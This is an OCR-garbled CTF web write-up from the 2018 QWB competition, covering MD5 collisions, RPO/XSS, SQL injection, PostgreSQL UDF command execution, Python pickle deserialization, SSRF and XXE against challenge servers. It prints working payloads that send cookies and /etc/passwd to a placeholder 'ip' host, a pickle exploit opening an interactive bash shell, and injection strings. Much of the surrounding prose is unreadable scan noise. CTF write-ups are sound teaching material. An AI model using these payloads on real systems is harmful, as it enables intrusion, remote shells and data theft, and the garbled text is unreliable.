3 — Jm M A Web Writeup

de ong7076 F 2018-03-27 00:42:00 K A 225 WL
X EFRZ:  php python FF R T E

JRSCHERE:  hitps/www.cnblogs.comvianstudy/articles/2th_gia
FRAL

By: I3mOn@Syclover

WEB % 3

http://39.107.33.96:10000
A BRIRIY A RS R
BEREA

paraml[]=1&param2[]=a

B RIKIHR A

paraml[]=1&param2[]=a

B=ESE &
https://crypto.stackexchange.com/questions/1434/are-there-two-known-strings-which-have-the-same-md5-
hash-value

curl -v http://39.107.33.96:10000/ -H "Cookie: PHPSESSID=8iflkrd5vocvllro75oekanat3" --data "paraml=M%C9h%F

Share your mind

L E Hik

http://39.107.33.96:20000

Please help me find the vulnerability before I finish this site!
hint: xss botf##fphantomjs, MR#A2.1.1

hint2 : xssHmAfEreport TWH


https://blog.csdn.net/dengzhasong7076
https://so.csdn.net/so/search/s.do?q=php&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=python&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E5%25BC%2580%25E5%258F%2591%25E5%25B7%25A5%25E5%2585%25B7&t=blog&o=vip&s=&l=&f=&viparticle=
http://www.cnblogs.com/iamstudy/articles/2th_qiangwangbei_ctf_writeup.html

C | ® view-source:39.107.33.96:20000/index.php
W [tools [ Hacksearch [ study [ other Ftemp £ Program [ wooyun ESCTF Fim

6 <meta http-equiv="X-UA-Compatible" content="IE=edge">

7 <meta name="viewport" content="width=device-width, initial-scale=1">
8

9 <title>Now you can write...</title>

10 <link href="/static/css/bootstrap.min.css" rel="stylesheet">
11 <link href="/static/css/dashboard.css" rel="stylesheet">

12 </head>

13

14|  <body>

15 <nav class="navbar navbar-inverse navbar-fixed-top">

16 <div class="container-fluid">

17 <div class="navbar-header">

18 <a class="navbar-brand" href="/">QWB's Share System</a>
19 </div>

20 <div id="navbar" class="navbar-collapse collapse">

21 <ul class="nav navbar-nav navbar-right">

22 <li><a href="#">testabec</a></1li>

23 <li><a href="/index.php/logout/">logout</a></1li>

24 </ul>

25 </div>

26 </div>

27 </nav>

28

29 <div class="container-fluid">

30 <div class="row">

31 <div class="col-sm-3 col-md-2 sidebar">

32 <ul class="nav nav-sidebar">

33 <li><a href="/index.php/view">0verview</a></1li>

34 <li><a href="/index.php/add">Write article</a></1li>
35 <li><a href="/index.php/report">Reports</a></1li>

36 <li><a href="/index.php/export">Export</a></1li>

37 <li><a href="/index.php/about">About</a></1i>

38 </ul>

39 </div>

40 <div class="col-sm-9 col-sm-offset-3 col-md-10 col-md-offset-2 main">
41 <div class="jumbotron">

42 <hl>Uncompleted Share System</hl>

43 <p></p>

44 <p>I'm trying to write a idea share system for QWB, but I am too wea
45 <p>what's more surprising is that someone told me this uncompleted s
46 <p>So, Could you please help me to find the vulnerability and report
47 </div>

48 </div>

49 </div>

50 </div>

51

52

53 <script src="static/js/jgquery.min.js"></script>

54 <script src="/static/js/bootstrap.min.js"></script>

55 Hooty

56 | </html>

57

A] LU EX B jquery.min jsET T %A / KR &1, FEAErpoii

W EFAERMW T —T, WX rpoE@ER. ATLETHE, EERENKENFE, SEUNENsE2THEHOE
XHJo


http://www.cnblogs.com/iamstudy/articles/ctf_writeup_rpo_attack.html

< C' | © 39.107.33.96:20000/index.php/view/article/1747/%2f..%2f..%2f..%2f..%2f
P WA [Fdtools [ Hacksearch [ostudy [other Ftemp [=Program [ wooyun E5CTF F5im

Overview

Write article

S ﬂ Elements Console Sources Network Performance Memory Application Security Audits XSS Encode

® © ™ Yy View: I= = [ Groupbyframe | () Preservelog [ | Disable cache @[ | Offline Online v
‘ Filter | Hide data URLs -l XHR JS CSS Img Media Font Doc WS Manifest Other
| | 5ms 10 ms 15ms 20 ms 25ms 30 ms 35 ms 40 ms 45 ms 50 ms 55 ms 60 ms 65 ms 70 ms 75 ms 80 ms 85 ms 90 ms 951

Name X Headers Preview Response | Cookies Timing

<>‘ %2f..%2f..%2f.. % 2f.. % 2f

) == /index.php/view/article/1747 2 alert(1);
bootstrap.min.js |

| =l /static/js

\\' bootstrap.min.css
css
—J /static/css

dashboard.css
[
) /static/css

jquery.min.js

/index.php/view/article/1747/static/js

CLRTIE B FirpofR&cssHTH, FHANCssiBIEEA A H, FrUAnl EERZIEZR, HESIBELE™, WH
WA UIRTCHE AT -

http://39.107.33.96:20000/index.php/view/article/784/%2f. .%2f..%2f. . %2f. . %2f

&= X | ® 39.107.33.96:20000/index.php/view/article/784/%2f..%2f..%2f..%2f..%2f
i WH [EJtools [ Hacksearch [ study £ other E=temp [E3Program [Swooyun E=ICTF E3im

3k H 39.107.33.96:20000

39.107.33.96

Overview e

Write article

IX BT 6 — SRR T 5 AT T SeiR b gmtD, B UL in# payload st fE
Teval (String.fromCharCode (97)) KR

IRE B HR B FHcookie:

b=document.cookie;a="<img src=//ip/"+btoa(b)+">";document.write(a);

T ESREEBIERARTry to get the cookie of path "/QWB f14g/QWB/", R ERIAFREFET
fficookie. I LLi@itiframeskinE, /& k3kEiframe B fcookie.

var i = document.createElement("iframe");
i.setAttribute("src", "/QWB_fl4g/QWB/");
document.body.appendChild(i);
i.addEventListener( "load", function(){
var content = i.contentWindow.document.cookie;
location="'//ip/'+btoa(content);
}, false);



B &£3flag: flag=QWB%7Bflag is f43kthd4rpo%7D; HINT=Try to get the cookie of path
"/QWB_ fl4g/QWB/"

Three hit

RAEE RN ZEN, EARERREMASL, age REgMAS TR, TATW LEL hexéwid— T

I'am
years

old today. And in this website, people
whose name is Is also in age

FkExflag

POST /index.php?func=register HTTP/1.1
Host: 39.107.32.29:10000

username=13m@On23&age=0x393939393939393939393939393920756e69616e2073656Cc65637420312c2873656c65637420666c6167

BE
7R H iR

http://106.75.97.46:8080/phrackCTF/

R PSP, TN BRI T MRS I JarkR AR EHT B A B BHIRCE, git#ilk: https://github.com/zjlywjheel/

rcefi R —TF, Rshirof /75T
X B W EE—ANEWR, BiRpostersqlif DT, HHFMAME.
docker#s &k

R

127  RUN /etc/init.d/postgresql start &&\

108 psql ——command "ALTER USER postgres WITH PASSWORD 'ZUBKij7Z';" &&\
109 createdb -0 postgres phrackCTF -E 'UTF8' &&\

110 psql phrackCTF postgres —f /tmp/phrackCTF-team.sql &&\

111 psql phrackCTF postgres -f /tmp/countries.sql

112


http://blog.knownsec.com/2016/08/apache-shiro-java/
https://github.com/zjlywjh001/phrackCTF-Team-Docker/blob/master/dockerfile

UDF#1

SELECT lo_create(9023);

insert into pg_largeobject values (9023,
insert into pg_largeobject values (9023, 1, decode('xxx', "hex'));
insert into pg_largeobject values (9023, 3, decode('xxx', "hex'));

insert into pg_largeobject values (9023,

0
1

insert into pg_largeobject values (9023, 2, decode('xxx', "hex'));
3
4, decode('xxx', 'hex'));
5

insert into pg_largeobject values (9023, 5, decode('xxx', 'hex'));
SELECT lo_export(9023, '/tmp/testeval.so');

PAT AL

, decode('7f454c4602010100000000000000000003003e0001000000000d000

CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_eval' LANGU

select sys_eval('id');

B Files ~ €@ = - 1= W postgres@106.75.97.46
Scratches and Consoles > B ® % Tx: Auto +

Database Consoles -
 postgres@106.75.97.46
W} postgres@106.75.97

select sys eval('cat /flag is here');

Database Console postgres@106.75.97.46
g&; Output ] sys_eval('cat /flag_is_here'):text X

P Qr Match Case Regex Words
=0 sys_eval +

zm 1 QwB{jarvls@jl3p5ettyg0es6}

=

) 4

I B R

drop function sys_eval

Python is the best language

FERENEEH, HEgF I MEiEwrteupS KR T ... python writeup
XF F python2 Ffif — &g 3¢

A @ flask 1 AR EE bRy, G EE FE BRI T AR

SQLALCHEMY_DATABASE_URI = "mysql://root:123456@localhost/flask?charset=utf8"
engine=create_engine(SQLALCHEMY_DATABASE_URI,echo=True)
Base=declarative_base()

Base.metadata.create_all(engine)

Filter rows


https://xianzhi.aliyun.com/forum/topic/2219

BIRPA=D

1. &

2. AR R, A Eisession3CA 44 LN
3. B RFFIIKITFAF B B30

F—PHBNRUATASARERRMATEMIIET, Frllsubprocess.Popens subprocess.callf]
DA 1

B, HRisessionX 4 £md5 ('bdwsessions'+cookiefd)

B=0, BRKEMERB AT LT S H, S E & — 2 Z M dumpfile.. #outfilelt T .

abc' union select unhex('aaa'),null,null,null,null,null into dumpfile '/tmp/ffff/59dbc12f95f9e1064020d248ad

&5 FExp:

import os

import cPickle
import subprocess
import socket
import binascii
import hashlib

def md5(s, raw_output=False):
res = hashlib.md5(s.encode())
if raw_output:
return res.digest()
return res.hexdigest()

def _get filename(key):

key = key.encode('utf-8') # XXX unicode review
hash = md5(key)
print hash

print _get_ filename('bdwsessionslemon"')

# Exploit that we want the target to unpickle
class Exploit(object):
def _ reduce__ (self):
return (subprocess.call, (['bash','-c','{echo,xxxx}|{base64,-d}|{bash,-i}'],))
def serialize_exploit():
shellcode = cPickle.dumps(Exploit())
return shellcode

print binascii.b2a_hex(serialize_exploit())

HREEX A, BF 75 —F, FRELE|sessionf KIAERTT K.



def st_dir(self):
return [os.path.join(self._path, fn) for fn in os.listdir(self._path)
if not fn.endswith(self._fs_transaction_suffix)]

def _prune(self):
entries = self._list_dir()
1T (én(entries) > selr._thresnold:
now = time()
for idx, fname in enumerate(entries):
1EIA7E
remove = False
print fname
with open(fname, 'rb') as f:
expires = load(f)
remove = (expires != @ and expires <= now) or idx % 3 ==

if remove:
0s.remove(fname)
except (IOError, OSError):
pass

Hrentries2 & sessionff] M4, threshold2—ANE E K7, FTEconfig.py B H
ISESSTON FILE THRESHOLD = 1000, HEiR%session BT 1w &5t <5 BT A fsessionid T —
MR FFIAL, R R AR .

Wechat

wechat
SME: 10004 kEEE

https://www.giangwangbei.com/wechat/wechat_7yu89i00.jpg

Please follow our WeChat Official Account (web+pwn)

EAFELER, ARSTEEENRE, EESHARSEO®L: http://39.107.33.77/

hint: sqli in fromUser

hint2 : sglil not mysgl not blind , sgli2 in message and you know anything in blacklist

hint3 : sqgli2:table is adminuser

BB T AR e F i, EHEMIE AT B SDKA LU AT BLE i — Sexmi$E #E4T K%



import requests

url = "http://39.107.33.77/"
content = "Test http://www.baidu.com TEAMKEY icq3be93d38562e68bcPa86368c2d6b2"

data = """’

<xml>
<ToUserName><![CDATA[a]]></ToUserName>
<FromUserName><![CDATA[1', (select content from note limit 3,1))--]]></FromUserName>
<CreateTime>1348831860</CreateTime>
<MsgType>< ! [CDATA[text]]></MsgType>
<Content><![CDATA[%s]]></Content>
<MsgId>1234567890123456</MsgId>
<AgentID>1</AgentID>

</xml>

""" % content

print requests.post(url,data=data).content

B RARFEEN, TUBBEUTER

<xml>

<ToUserName><![CDATA[1', (select content from note limit 3,1))--]]></ToUserName>
<FromUserName><![CDATA[a]]></FromUserName>

<CreateTime>1521882365</CreateTime>

<MsgType>< ! [CDATA[text]]></MsgType>

<Content><![CDATA[Success!

Start Time:You can leave me message here: http://wc.qwb.com:8088/leave_message.php
Over Time:Sat Mar 24 09:06:05 2018]]></Content>

<MsgId>1234567890123456</MsgId>

</xml>

48 5 host: we.qwb.com Hip439.107.33.77



< - C | © wec.gwb.com:8088/leave_message.php
i WA [Jtools [ Hacksearch 5 study £5other EStemp [ Program S wooyun ESCTF ESim

Leave Me Message!

Name

daaaaaaaaaaaaaa

Email

aaaa

Team-Key

icq3be93d38562¢68bc0a86368c2d6b2

Message

aaa

HemessageFrEEN, PRI ELE ™45

POST /leave_message.php HTTP/1.1
Host: wc.qwb.com:8088

user=aaaaaaaaaaaaaaa&email=aaaa@qq.com&team=icq3be93d38562e68bcPa86368c2d6b2&message=1"-(sleep(ceil(pi())))



Request | Payload | Status | Error | Timeout | Length ¥ | Comment
32 ZUU O O 327
33 ! 200 = & 327
34 8 200 @ o 327
35 # 200 @ O 327
36 $ 200 @ & 327
37 % 200 = B 327
38 & 200 = = 327
47 / 200 0 @ 327
59 ; 200 @) O 327
60 < 200 O O 327
62 > 200 O O 327
63 ? 200 O O 327
91 [ 200 O O 327
92 \ 200 O O 327
93 ] 200 Q O 327
94 A 200 O O 327
96 ) 200 @) O 327
124 200 = & 327
126 o~ 200 @ o 327
127 200 @ O 327
128 € 200 @ & 327
129 . 200 = B 327
130 - 200 = = 327
131 200 O O 327
132 - 200 O O 327
133 200 O O 327
134 200 a O 327

Request | Response ]

j Raw T Headers T Hex T HTML T Render ]

HTTP/1.1 200 OK

Date: Mon, 26 Mar 2018 08:48:20 GMT

Server: Apache/2.4.18 (Ubuntu)

Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Contrcl: no-store, no-cache, must-revalidate
Pragma: no-cache

Content-Length: 50

Connection: close

Content-Type: text/html; charset=UTF-8

<gscript> alert( Hacker! ');history.go(-1);</script>

thinsleepR BB B A GRHEFE, WTUMEMHpPL () RS, AsbEtEselect fromEBsr.

message=12333"'-(if(ascii(substring((select@b:=group_concat(username)from{clound.adminuser}),%s,1))1like'%s",

REFERHMEZRFM, H A Bpassword ¥ B
http://wc.qwb.com:8088/forgetpassword.php
MK E D) EE, FEAtHcode, #[EIEH R
HNEGE, KA B gL, EERTRPIKRE %,
X B R ESRE A KA R TR,



Pro Plan L e

;jimg
ADMIN

CHANGE YOUR HEAD PORTRAIT.

UPLOAD | | jimse  ARIESFHECRIXH m

x ﬂ Elements Console Sources Network Performance Memory Application Security Audits XSS Encode
<SS TITTTTI LTI 7 TT T T AT E TR FTF T F T Id T a7 i iriidiiriidiririritiziTiniiiriri ===
<!—— START CONTAINER —-->
S s
<!—— START CONTAINER ——>

v <div class='"container-no-padding'>
<!— Start Social Profile —>
v <div class="social-profile">
<!— Start Top —>
v <div class="social-top">
v <div classsepoafile=lefis

¢ 1t="img" class="profile-img'> == $0

¥ <hl class=Trame

HWARMTRL 1

P EEEhtmb A —BE R

< C  ® wc.qwb.com:8088/index.php?o=profile
i WA [tools [ Hacksearch [ study [ other Etemp £ Program £ wooyun E5CTF Eim

Pro Plan

;]img

CHANGE YOUR HEAD PORTRAIT.

UPLOAD | pzxs AIEHREMENM m

(w ﬂ Elements Console Sources Network Performance Memory Application Security Audits XSS Encode
TYT=UIV CTCTta>>— LuLl—mu—iz -~
v <div class="panel panel-default">
<div class="panel-title">
Change your head portrait.

</div>
v <div class="panel-body'">
::before

v <form class="form-inline" action="getimg.php" method="post" enctype="multipart/form-data'>
v <div class="form-group">
label for="examplel" class="form-label '=UPLOAD</label> == 30
<input class="form-control” name="file" type="file'">

</diy>
<l—
<div class="form-group">
<label for="example2" class="form-label">URL</label>
<input class="form-control" placeholder="IMAGE URL" type="text" name="urlink">
</div>
-
T=pUTLON Lype. SUDMIC  Class™ DLN DUN-Oeraute —senu=;puceons
</form=

HrpurlinkfrfEssrfiiF, BARBIHILCLRERK TR, JRRED KRR S AGEM, RAgER—LiE
(G



POST /getimg.php HTTP/1.1
Host: wc.qwb.com:8088
Cookie: PHPSESSID=cjq7naar@2kajivdftljhj2h44

—————— WebKitFormBoundaryOXFwabnsGhrKdxyn
Content-Disposition: form-data; name="urlink"

file://wc.qwb.com:8088/etc/apache2/apache2.conf
—————— WebKitFormBoundaryOXFwabnsGhrKdxyn- -

BB EapacheIEC E XX, WUERINE. MARR, HEIRRRRIEE T X430, {HREbaseb4i) N AR e %
FHEREINZEHY, TRTEHDL...

#<Directory /home/qwbweb/backdoor>
Port 23333

Options Indexes FollowSymLinks

AllowOverride None

Require all granted

Here is a Bin with its libc

#</Directory>

H OH B OH O

TR SO B pwniE R, AREpwnpwnpwn T, KET, A&
BEHW

RAVEEELRRREE, 57 ML, BUANRER—GEELHFEEE, FrofEBWRETmEM T . thin
B4, Himd, 33— sigiban)

80 HEHISLAEMBE, ZHLKE. ME T — F33899m O AR, H—A .ideafittss, (HRAHEHHLH.
http://39.107.33.75:33899/ .idea/workspace.xml

WEBER T —Bomid LA KEE, A rffixe.

EH MR R FRKIM YT, HREREAREA# Ralert ("REEHR! ! ! HEK")

v

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex HTMLIRender]

HTTP/1.1 200 OK

Target: http://39.107.33.75:33899

POST http://39.107.33.75:33899/common.php HTTP/1.1 A A
Host: 39.107.33.75:33899 r Date: Mon, 26 Mar 2018 09:16:12 GMT r
Content-Length: 80 Server: Apache/2.4.7 (Ubuntu)

Cache-Control: max-age=0 X-Powered-By: PHP/5.5.9

origin: http://39.107.33.75:33899 Vary: Accept-Encoding

Upgrade-Insecure-Requests: 1 Content-Length: 91

Content-Type: application/x-www-form-urlencoded Connection: close

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_13_1) Content-Type: text/html

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181

safari/537.36 <html><meta

Accept: charset="utf-8"><script>alert ("RHEIR! ! | BEIRL")</script><
text/html,application/xhtml+xml,application/xml;g=0.9,image/w /html>

ebp,image/apng,*/*;gq=0.8

Referer: http://39.107.33.75:33899/contact.html
Accept-Encoding: gzip, deflate

Accept-Language:
zh-CN,zh;g=0.9,en;g=0.8,zh-TW;g=0.7, ja;g=0.6
Connection: close

_redirect=contact.html&name=13mOn&email=aaaaa@g.com&comment=
aaaaaa&submit=Submit

AR R R B BLR A T .



POST http://39.107.33.75:33899/common.php HTTP/1.1

Host: 39.107.33.75:33899

Content-Length: 86

Cache-Control: max-age=0

Origin: http://39.107.33.75:33899
Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_13_1)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181
safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml;qg=0.9,image/w
ebp,image/apng,*/*;g=0.8

Referer: http://39.107.33.75:33899/contact.html
Accept-Encoding: gzip, deflate

Accept-Language:
zh-CN,zh;g=0.9,en;g=0.8,zh-TW;g=0.7,ja;g=0.6

Connection: close

_redirect=contact.html&name[ ]=13mOn&email[ ]=aaaaa@g.com&comm
ent[ ]=aaaaaa&submit=Submit

>

PLE

Date: Mon, 26 Mar 2018 09:17:06 GMT
Server: Apache/2.4.7 (Ubuntu) E
X-Powered-By: PHP/5.5.9

Vary: Accept-Encoding

Content-Length: 967

Connection: close

Content-Type: text/html

<br />
<b>Warning</b>:
array given in
<b>/var/www/52dandan.cc/public_html/function.php</b> on
line <b>63</b><br />

<br />

<b>Warning</b>: preg_match() expects parameter 2 to be
string, array given in
<b>/var/www/52dandan.cc/public_html/function.php</b> on
line <b>68</b><br />

<br />
<b>Warning</b>:
array given in
<b>/var/www/52dandan.cc/public_html/function.php</b> on
line <b>63</b><br />

<br />

<b>Warning</b>: preg_match() expects parameter 2 to be
string, array given in
<b>/var/www/52dandan.cc/public_html/function.php</b> on
line <b>68</b><br />

<br />

<b>Warning</b>: urldecode() expects parameter 1 to be
string, array given in
<b>/var/www/52dandan.cc/public_html/common.php</b> on line
<b>17</b><br />

<html><meta charset="utf-8"><script>alert("email

strlen() expects parameter 1 to be string,

strlen() expects parameter 1 to be string,

commentib B #userdecodesb Bt , — TFxmisk, BATLAE REREE, £ EMNZBmEXe.

<?xml version="1.0" encoding="utf-8"?>

= ! .
POST http://39.107.33.75:33899/common.php HTTP/1.1

Host: 39.107.33.75:33899

Content-Length: 188

Cache-Control: max-age=0

origin: http://39.107.33.75:33899

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181
Safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml;g=0.9,image/w
ebp,image/apng,*/*;g=0.8

Referer: http://39.107.33.75:33899/contact.html
Accept-Encoding: gzip, deflate

Accept-Language:

zh-CN,zh;g=0.9,en;g=0.8,zh-TW;g=0.7,ja;g=0.6

Connection: close

_redirect=contact.html&name=13mOn&email=aaaaal@g.com&comment=%
3c%3f%878%64%6Cc%20%76%65%72%73%69%61%62%3d%22%31%22%30%822%20%

65%60%63%6£%64%69%62%67%3d%22%75%74%66%2d%38%22%3£%3e&submit
=Submit

it Exxe, BILAIREUE]SCH
TR ARG 2 B — N1 .xml

T

- L L
HTTP/1.1 200 OK 1
Date: Mon, 26 Mar 2018 09:18:17 GMT r
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9

Vary: Accept-Encoding
Content-Length: 721
Connection: close
Content-Type: text/html

<br />
<b>Warning</b>: simplexml_load_string(): Entity: line 1:
parser error : Start tag expected, '&lt;' not found in
<b>/var/www/52dandan.cc/public_html/function.php</b> on
line <b>54</b><br />
<br />
<b>Warning</b>: simplexml_load_string(): &lt;?xml
version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&gt; in
<b>/var/www/52dandan.cc/public_html/function.php</b> on
line <b>54</b><br />
<br />
<b>Warning</b>: simplexml_load_string():

~ in
<b>/var/www/52dandan.cc/public_html/function.php</b> on
line <b>54</b><br />
<br />
<b>Fatal error</b>:
on a non-object in
<b>/var/www/52dandan.cc/public_html/common.php</b> on line
<b>34</b><br />

call to a member function __ tostring()

<IENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<IENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://ip/test/?xxe_local=%payload;'>">

%int;
%trick;

commentFi#417H

<?xml version="1.0"

encoding="utf-8"?><!DOCTYPE root [<!ENTITY % remote SYSTEM "http://ip/xxe/1.xml"> %remo



%ﬁﬂX—IF/var/www/52dandan.cc/publicihtml/config.php

<?php

define(BASEDIR, "/var/www/52dandan.club/");

define(FLAG_SIG, 1);

define(SECRETFILE, '/var/www/52dandan.com/public_html/youwillneverknowthisfile e2cd3614b63ccdcbfe7c8f07376fe

?>

23| 7 —¥mflag

Ok,you get the first part of flag : 5bdd3bebalfcb40
then you can do more to get more part of flag

XEHIT —MNEE, HRIKRN/var/www/52dandan.cc/public html/common . php B & H 3L
T Detected an entity reference loop#iiR.

connection: close

<br />
<b>Warning</b>: simplexml load string():
http://1s" =« * WN*:23338/xxe/1.dtd:2: parser error :
Detected an entity reference loop in
<b>/var/www/L™ds k= _ c/public_html/function.php</b> on
line <b>54</b><br />
<br />
<b>Warning</b>: simplexml_ load_string(): rn
&quot;&1t; !ENTITY &amp;#37; XXe SYSTEM

"http://3_%.2%. "% 1 _:23338/xxe/result-is?%payl; '&gt;&quot;
in <b>/var/www/ = b= m=mm.cc/public_html/function.php</b> on
line <b>54</b><br />
<br />
<b>Warning</b>: simplexml_ load_string():

~ in <b>/var/wWwww/5zs.ws «m « ¢c/public_html/function.php</b>
on line <b>54</b><br />

BT —TFHEE, loxmif@ir 22 BRAFR B AP SR LAR K B 2K, BIERD, REIFHR—TFTEEHREHER. phpidiE
HHRM T —Az1lib.inflate K48 EUIE.

JE4i: echo file_get_contents("php://filter/z1lib.deflate/convert.base64-encode/resource=/etc/passwd");
f#lE: echo file_get_contents("php://filter/read=convert.base64-decode/z1ib.inflate/resource=/tmp/1");

XA PLIREX Bl common . php U JEAS 1!



http://php.net/manual/zh/filters.compression.php

php > php > echo file_get_contents("php://filter/read=convert.base64-decode/zlib.1inflate/resource=/tmp/1
s
<?php
require_once "function.php";
ifCempty($_POST['name'])){
echo "<html><meta charset=\"utf-8\"><script>alert(\"name can not be empty\")</script></html>";
die();
3
elseq
$username = Filter($_POST['name']);
e
ifCempty($_POST['email’])) {
$email = $username . '@' . $_SERVER['HTTP_HOST'];
1
elseq
$email = Filter($_POST['email']);
by
//var_dump($_REQUEST);
$comment = urldecode($_POST['comment']);
//die($email);
if (Ifilter_var($email, FILTER_VALIDATE_EMAIL)) {
echo "<html><meta charset=\"utf-8\"><script>alert(\"email error\")</script></html>";
ky
$oldValue = libxml_disable_entity_loader( false );
//var_dump($comment);

if (strpos($comment,'<?xml version="1.0" encoding="utf-8"7>"') === false){
$parsedxml = $comment;

BB —THSRK—LipEE, HbarpEEHRE T — AR

/proc/net/arp

/etc/host

IP address HW type Flags HW address Mask Device
192.168.223.18 ox1 ox2 02:42:c0:a8:df:12 e ethe
192.168.223.1 ox1 ox2 02:42:91:19:c9:d4 3 ethe

FFI T —4N80i7 1, test.phpiishopS BFEEIEN

<IENTITY % payload SYSTEM "http://192.168.223.18/test.php?shop=3"-(case%adwhen((1)1like(1))then(0)el
<IENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://ip/test/?xxe_local=%payload;'>">

%int;

%trick;

AT, NEMT .

2333, F#A T —APLEMSHES, MREMESZERtest.php, HAXN— B B RBMBRAK, —K#HEZ
HEADE 3K

test.php



<?php
$agent = strtolower($_SERVER[ 'HTTP_USER_AGENT']);
//check for nikto, sql map or "bad" subfolders which only exist on wordpress

if (strpos($agent, 'nikto') !== false || strpos($agent, 'sqlmap') !== false || startswith($url,'wp-') || st
{

sendBomb();

exit();
)

function sendBomb(){
//prepare the client to recieve GZIP data. This will not be suspicious
//since most web servers use GZIP by default
header ("Content-Encoding: gzip");
header("Content-Length: ".filesize('www.gzip'));
//Turn off output buffering
if (ob_get_level()) ob_end_clean();
//send the gzipped file to the client
readfile('10G.gzip');
}
function startsWith($haystack,$needle){
return (substr($haystack,0,strlen($needle)) === $needle);

T :https://www.cnblogs.com/iamstudy/articles/2th_giangwangbei_ctf writeup.html
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